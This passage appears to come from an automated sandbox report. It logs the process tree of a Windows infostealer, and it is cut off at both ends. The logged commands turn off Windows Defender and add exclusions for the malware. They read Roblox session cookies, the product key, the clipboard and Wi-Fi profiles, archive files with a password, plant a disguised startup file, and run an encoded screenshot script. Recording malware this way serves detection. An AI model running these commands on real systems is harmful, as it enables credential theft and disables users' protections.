                                                        C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                        3⤵
                                                          PID:516
                                                          • C:\Windows\system32\tree.com
                                                            tree /A /F
                                                            4⤵
                                                              PID:4672
                                                          • C:\Windows\system32\cmd.exe
                                                            C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                                            3⤵
                                                              PID:2072
                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                                4⤵
                                                                • Command and Scripting Interpreter: PowerShell
                                                                • Suspicious behavior: EnumeratesProcesses
                                                                PID:4232
                                                            • C:\Windows\system32\cmd.exe
                                                              C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                                              3⤵
                                                                PID:624
                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                                  4⤵
                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                  PID:3144
                                                              • C:\Windows\system32\cmd.exe
                                                                C:\Windows\system32\cmd.exe /c "getmac"
                                                                3⤵
                                                                  PID:2700
                                                                  • C:\Windows\system32\getmac.exe
                                                                    getmac
                                                                    4⤵
                                                                      PID:4536
                                                                  • C:\Windows\system32\cmd.exe
                                                                    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI13602\rar.exe a -r -hp"1" "C:\Users\Admin\AppData\Local\Temp\fhilb.zip" *"
                                                                    3⤵
                                                                      PID:2608
                                                                      • C:\Users\Admin\AppData\Local\Temp\_MEI13602\rar.exe
                                                                        C:\Users\Admin\AppData\Local\Temp\_MEI13602\rar.exe a -r -hp"1" "C:\Users\Admin\AppData\Local\Temp\fhilb.zip" *
                                                                        4⤵
                                                                        • Executes dropped EXE
                                                                        PID:2336
                                                                    • C:\Windows\system32\cmd.exe
                                                                      C:\Windows\system32\cmd.exe /c "wmic os get Caption"
                                                                      3⤵
                                                                        PID:4524
                                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                                          wmic os get Caption
                                                                          4⤵
                                                                            PID:3064
                                                                        • C:\Windows\system32\cmd.exe
                                                                          C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
                                                                          3⤵
                                                                            PID:3652
                                                                            • C:\Windows\System32\Wbem\WMIC.exe
                                                                              wmic computersystem get totalphysicalmemory
                                                                              4⤵
                                                                                PID:4712
                                                                            • C:\Windows\system32\cmd.exe
                                                                              C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                                                                              3⤵
                                                                                PID:3692
                                                                                • C:\Windows\System32\Wbem\WMIC.exe
                                                                                  wmic csproduct get uuid
                                                                                  4⤵
                                                                                    PID:3664
                                                                                • C:\Windows\system32\cmd.exe
                                                                                  C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
                                                                                  3⤵
                                                                                    PID:5024
                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                      powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
                                                                                      4⤵
                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                      PID:3260
                                                                                  • C:\Windows\system32\cmd.exe
                                                                                    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
                                                                                    3⤵
                                                                                      PID:2204
                                                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                                                        wmic path win32_VideoController get name
                                                                                        4⤵
                                                                                        • Detects videocard installed
                                                                                        PID:2412
                                                                                    • C:\Windows\system32\cmd.exe
                                                                                      C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
                                                                                      3⤵
                                                                                        PID:3712
                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                          powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
                                                                                          4⤵
                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                          PID:1712
                                                                                      • C:\Windows\system32\cmd.exe
                                                                                        C:\Windows\system32\cmd.exe /c "ping localhost -n 3 > NUL && del /A H /F "C:\Users\Admin\AppData\Local\Temp\‏  ‎ .scr""
                                                                                        3⤵
                                                                                        • System Network Configuration Discovery: Internet Connection Discovery
                                                                                        PID:4256
                                                                                        • C:\Windows\system32\PING.EXE
                                                                                          ping localhost -n 3
                                                                                          4⤵
                                                                                          • System Network Configuration Discovery: Internet Connection Discovery
                                                                                          • Runs ping.exe
                                                                                          PID:1300
                                                                                  • C:\Windows\system32\taskmgr.exe
                                                                                    "C:\Windows\system32\taskmgr.exe" /4
                                                                                    1⤵
                                                                                    • Checks SCSI registry key(s)
                                                                                    • Checks processor information in registry
                                                                                    • Modifies registry class
                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                    • Suspicious use of FindShellTrayWindow
                                                                                    • Suspicious use of SendNotifyMessage
                                                                                    PID:4380
                                                                                  • C:\Windows\System32\rundll32.exe
                                                                                    C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                                                                                    1⤵
                                                                                      PID:832
                                                                                    • C:\Program Files\7-Zip\7zFM.exe
                                                                                      "C:\Program Files\7-Zip\7zFM.exe" "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\   ‏ .scr"
                                                                                      1⤵
                                                                                      • Modifies registry class
                                                                                      • Suspicious behavior: GetForegroundWindowSpam
                                                                                      • Suspicious use of FindShellTrayWindow
                                                                                      PID:1116
                                                                                    • C:\Windows\system32\OpenWith.exe
                                                                                      C:\Windows\system32\OpenWith.exe -Embedding
                                                                                      1⤵
                                                                                      • Modifies registry class
                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                      PID:2644
                                                                                    • C:\Program Files\7-Zip\7zG.exe
                                                                                      "C:\Program Files\7-Zip\7zG.exe" x -o"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\" -an -ai#7zMap13061:144:7zEvent8370
                                                                                      1⤵
                                                                                      • Suspicious behavior: GetForegroundWindowSpam
                                                                                      • Suspicious use of FindShellTrayWindow
                                                                                      PID:2376
                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe"
                                                                                      1⤵
                                                                                      • Enumerates system info in registry
                                                                                      • Modifies data under HKEY_USERS
                                                                                      • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                                                                                      • Suspicious use of FindShellTrayWindow
                                                                                      • Suspicious use of SendNotifyMessage
                                                                                      PID:5036
                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x118,0x11c,0x120,0xf4,0x124,0x7ffec065cc40,0x7ffec065cc4c,0x7ffec065cc58
                                                                                        2⤵
                                                                                          PID:3924
                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1356,i,8420974447168654338,6948521654042191341,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=1736 /prefetch:2
                                                                                          2⤵
                                                                                            PID:1988
                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2108,i,8420974447168654338,6948521654042191341,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2188 /prefetch:3
                                                                                            2⤵
                                                                                              PID:1848
                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2304,i,8420974447168654338,6948521654042191341,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2280 /prefetch:8
                                                                                              2⤵
                                                                                                PID:4444
                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3152,i,8420974447168654338,6948521654042191341,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3160 /prefetch:1
                                                                                                2⤵
                                                                                                  PID:3964
                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3244,i,8420974447168654338,6948521654042191341,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3412 /prefetch:1
                                                                                                  2⤵
                                                                                                    PID:2072
                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4564,i,8420974447168654338,6948521654042191341,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4504 /prefetch:1
                                                                                                    2⤵
                                                                                                      PID:4092
                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4832,i,8420974447168654338,6948521654042191341,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4852 /prefetch:8
                                                                                                      2⤵
                                                                                                        PID:4300
                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5036,i,8420974447168654338,6948521654042191341,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5048 /prefetch:8
                                                                                                        2⤵
                                                                                                          PID:1376
                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4884,i,8420974447168654338,6948521654042191341,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5172 /prefetch:8
                                                                                                          2⤵
                                                                                                            PID:220
                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5064,i,8420974447168654338,6948521654042191341,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5340 /prefetch:8
                                                                                                            2⤵
                                                                                                              PID:4276
                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4912,i,8420974447168654338,6948521654042191341,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4828 /prefetch:8
                                                                                                              2⤵
                                                                                                                PID:4524
                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5028,i,8420974447168654338,6948521654042191341,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4844 /prefetch:8
                                                                                                                2⤵
                                                                                                                  PID:920
                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --field-trial-handle=5444,i,8420974447168654338,6948521654042191341,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4756 /prefetch:2
                                                                                                                  2⤵
                                                                                                                    PID:5520
                                                                                                                • C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
                                                                                                                  "C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
                                                                                                                  1⤵
                                                                                                                    PID:4712
                                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                                    C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
                                                                                                                    1⤵
                                                                                                                      PID:1092
                                                                                                                    • C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\   ‏ .scr
                                                                                                                      "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\   ‏ .scr" /S
                                                                                                                      1⤵
                                                                                                                      • Executes dropped EXE
                                                                                                                      PID:6116
                                                                                                                      • C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\   ‏ .scr
                                                                                                                        "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\   ‏ .scr" /S
                                                                                                                        2⤵
                                                                                                                        • Drops file in Drivers directory
                                                                                                                        • Executes dropped EXE
                                                                                                                        • Loads dropped DLL
                                                                                                                        PID:1568
                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                          C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\   ‏ .scr'"
                                                                                                                          3⤵
                                                                                                                            PID:4988
                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                              powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\   ‏ .scr'
                                                                                                                              4⤵
                                                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                                                              PID:5280
                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                            C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
                                                                                                                            3⤵
                                                                                                                              PID:2132
                                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
                                                                                                                                4⤵
                                                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                                                PID:5172
                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                              C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'"
                                                                                                                              3⤵
                                                                                                                                PID:1716
                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                  powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'
                                                                                                                                  4⤵
                                                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                                                  PID:3580
                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                C:\Windows\system32\cmd.exe /c "start bound.exe"
                                                                                                                                3⤵
                                                                                                                                  PID:4284
                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\bound.exe
                                                                                                                                    bound.exe
                                                                                                                                    4⤵
                                                                                                                                    • Executes dropped EXE
                                                                                                                                    • Loads dropped DLL
                                                                                                                                    PID:5488
                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                  C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                                                                                                                  3⤵
                                                                                                                                    PID:4300
                                                                                                                                    • C:\Windows\system32\tasklist.exe
                                                                                                                                      tasklist /FO LIST
                                                                                                                                      4⤵
                                                                                                                                      • Enumerates processes with tasklist
                                                                                                                                      PID:5412
                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                                                                                                                                    3⤵
                                                                                                                                      PID:5208
                                                                                                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                        wmic csproduct get uuid
                                                                                                                                        4⤵
                                                                                                                                          PID:5436
                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                        C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"
                                                                                                                                        3⤵
                                                                                                                                          PID:5724
                                                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                                                            REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
                                                                                                                                            4⤵
                                                                                                                                              PID:5784
                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                            C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"
                                                                                                                                            3⤵
                                                                                                                                              PID:5796
                                                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                                                REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
                                                                                                                                                4⤵
                                                                                                                                                  PID:5872
                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
                                                                                                                                                3⤵
                                                                                                                                                  PID:5880
                                                                                                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                    wmic path win32_VideoController get name
                                                                                                                                                    4⤵
                                                                                                                                                    • Detects videocard installed
                                                                                                                                                    PID:5972
                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                  C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
                                                                                                                                                  3⤵
                                                                                                                                                    PID:2356
                                                                                                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                      wmic path win32_VideoController get name
                                                                                                                                                      4⤵
                                                                                                                                                      • Detects videocard installed
                                                                                                                                                      PID:6056
                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                                                                                                                                    3⤵
                                                                                                                                                      PID:3936
                                                                                                                                                      • C:\Windows\system32\tasklist.exe
                                                                                                                                                        tasklist /FO LIST
                                                                                                                                                        4⤵
                                                                                                                                                        • Enumerates processes with tasklist
                                                                                                                                                        PID:2464
                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                      C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                                                                                                                                      3⤵
                                                                                                                                                        PID:1684
                                                                                                                                                        • C:\Windows\system32\tasklist.exe
                                                                                                                                                          tasklist /FO LIST
                                                                                                                                                          4⤵
                                                                                                                                                          • Enumerates processes with tasklist
                                                                                                                                                          PID:4840
                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                        C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
                                                                                                                                                        3⤵
                                                                                                                                                          PID:4524
                                                                                                                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                            WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
                                                                                                                                                            4⤵
                                                                                                                                                              PID:668
                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                            C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
                                                                                                                                                            3⤵
                                                                                                                                                            • Clipboard Data
                                                                                                                                                            PID:1012
                                                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                              powershell Get-Clipboard
                                                                                                                                                              4⤵
                                                                                                                                                              • Clipboard Data
                                                                                                                                                              PID:4624
                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                            C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                                                                                                                                            3⤵
                                                                                                                                                              PID:2632
                                                                                                                                                              • C:\Windows\system32\tasklist.exe
                                                                                                                                                                tasklist /FO LIST
                                                                                                                                                                4⤵
                                                                                                                                                                • Enumerates processes with tasklist
                                                                                                                                                                PID:5404
                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                              C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                                                                                                              3⤵
                                                                                                                                                                PID:5460
                                                                                                                                                                • C:\Windows\system32\tree.com
                                                                                                                                                                  tree /A /F
                                                                                                                                                                  4⤵
                                                                                                                                                                    PID:5856
                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                  C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
                                                                                                                                                                  3⤵
                                                                                                                                                                  • System Network Configuration Discovery: Wi-Fi Discovery
                                                                                                                                                                  PID:5464
                                                                                                                                                                  • C:\Windows\system32\netsh.exe
                                                                                                                                                                    netsh wlan show profile
                                                                                                                                                                    4⤵
                                                                                                                                                                    • Event Triggered Execution: Netsh Helper DLL
                                                                                                                                                                    • System Network Configuration Discovery: Wi-Fi Discovery
                                                                                                                                                                    PID:5512
                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                  C:\Windows\system32\cmd.exe /c "systeminfo"
                                                                                                                                                                  3⤵
                                                                                                                                                                    PID:5364
                                                                                                                                                                    • C:\Windows\system32\systeminfo.exe
                                                                                                                                                                      systeminfo
                                                                                                                                                                      4⤵
                                                                                                                                                                      • Gathers system information
                                                                                                                                                                      PID:5716
                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                    C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAH